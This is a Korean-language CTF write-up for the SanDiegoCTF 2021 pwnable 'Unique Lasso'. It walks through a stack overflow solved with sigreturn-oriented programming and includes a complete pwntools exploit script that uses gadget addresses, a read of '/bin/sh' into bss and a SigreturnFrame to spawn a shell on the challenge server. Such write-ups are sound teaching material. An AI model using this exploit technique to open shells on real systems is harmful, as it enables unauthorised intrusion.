CTF/Write UPs

[SanDiegoCTF 2021 : pwnable] Unique Lasso 풀이 (Sig ROP)

jir4vvit 2021. 5. 10. 15:01
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

하..풀릴듯 말듯 했는데 결국 못풀었었다.


Analysis

mitigation

execution

code

함수가 넘 많아서 문자열 찾기로 인풋 넣는 곳 찾았다. (main함수였네)

 

RIP 컨트롤이 가능해서 쉽게 풀릴거 같은 느낌이다. flag를 주는 함수도 딱히 없었고해서 bss영역에다가 '/bin/sh'문자열 넣고 실행해야겠다는 생각을 하였다.

Exploit Scenario

Summary

  1. sys_read 호출하여 bss 영역에 '/bin/sh' 문자열 삽입
  2. sys_sigreturn 호출 ~ (Sig ROP)

처음엔 syscall로 sys_read를 호출해서 bss영역에 /bin/sh 문자열을 쓰고난 다음에 main으로 리턴하려고 했었다.

sys read가 호출되고 이제 main으로 리턴하면 되는데..!!

계속 뻉글뺑글 무한 루프를 돈다 ㅠㅁㅠ..

저기 빨간색 네모 친 부분에 집중을 해보자. 

mov eax, edx

syscall

edx에 있는 값을 eax에 mov하고 syscall을 한다.

syscall number가 0x8이면 sys_lseek을 호출하나보다... 

 

여기서 바로 rdx를 len(binsh)가 아닌 0x3b로 바꾸어서 sys_execve를 호출하게 해보았다.

payload = ''
payload += 'A' * (0x6 + 0x8)
# read
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi) # fd
payload += p64(0)
payload += p64(pop_rsi) # buf
payload += p64(bss_addr)
payload += p64(pop_rdx) # len
payload += p64(59)
payload += p64(syscall)
# execve
payload += p64(pop_rdi)
payload += p64(bss_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

print hex(len(payload))
pause()
p.sendlineafter('\n', payload)
p.send(binsh)

잘 되나 싶더니, 반환값이 저렇게 찍혀서 sys_execve 호출에 실패했다고 뜬다. 왜 실패했는지는 errno 전역변수를 확인해보면 된다는데... 사실 잘 모르겠다 ㅎㅎㅎ;;;;;

 

여기서 생각할 수 있는 방법은 Sigreturn oriented programming 이다. 해당 문제에서는 가젯이 부족하지는 않지만.. 저렇게 계속 syscall이 무한루프 돌아버리고.. sys_execve 호출이 안되니 저 방법을 써야겠다고 생각했다. (sys sigreturn 호출~)

 

pwntools에는 짱짱 편리한 SigreturnFrame가 있기 때문에 짱 편리하게 sigcontext 구조체에 맞게 익스 코드를 작성할 수 있당.

 

도움..!

Exploit Code

from pwn import *

#context.log_level = 'DEBUG'

#p = process('./uniqueLasso')
p = remote('lasso.sdc.tf', 1337)
e = ELF('./uniqueLasso')

syscall = 0x40125c
pop_rax = 0x4005af
pop_rdi = 0x4006a6
pop_rsi = 0x410b63
pop_rdx = 0x44a0a5


bss_addr = e.bss()
binsh = '/bin/sh\x00'

print hex(bss_addr)


frame = SigreturnFrame(arch="amd64")
frame.rax = 0x3b
frame.rdi = bss_addr
frame.rip = syscall


payload = ''
payload += 'A' * (0x6 + 0x8)
#payload += 'BBBBBBBB'
# read
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi) # fd
payload += p64(0)
payload += p64(pop_rsi) # buf
payload += p64(bss_addr)
payload += p64(pop_rdx) # len
payload += p64(0xf)
payload += p64(syscall)
payload += str(frame)


pause()
p.sendlineafter('\n', payload)
p.send(binsh)

p.interactive()